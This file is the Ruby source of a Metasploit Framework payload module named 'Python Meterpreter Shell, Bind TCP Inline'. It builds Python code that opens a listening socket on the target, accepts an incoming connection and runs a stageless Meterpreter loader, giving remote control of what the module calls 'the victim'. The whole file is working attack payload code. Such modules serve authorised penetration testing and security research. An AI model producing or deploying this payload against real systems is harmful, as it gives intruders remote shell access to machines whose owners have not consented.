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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = :dynamic
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  include Msf::Payload::Single
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  include Msf::Payload::Python
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  include Msf::Payload::Python::BindTcp
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  include Msf::Payload::Python::MeterpreterLoader
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'Python Meterpreter Shell, Bind TCP Inline',
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        'Description' => 'Connect to the victim and spawn a Meterpreter shell',
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        'Author' => 'Spencer McIntyre',
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        'License' => MSF_LICENSE,
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        'Platform' => 'python',
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        'Arch' => ARCH_PYTHON,
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        'Handler' => Msf::Handler::BindTcp,
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        'Session' => Msf::Sessions::Meterpreter_Python_Python
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      )
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    )
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  end
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  def generate_bind_tcp(opts = {})
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    socket_setup = "bind_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"
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    socket_setup << "bind_sock.bind(('0.0.0.0', #{opts[:port]}))\n"
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    socket_setup << "bind_sock.listen(1)\n"
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    socket_setup << "s, address = bind_sock.accept()\n"
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    opts[:stageless_tcp_socket_setup] = socket_setup
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    opts[:stageless] = true
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    met = stage_meterpreter(opts)
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    py_create_exec_stub(met)
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  end
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end
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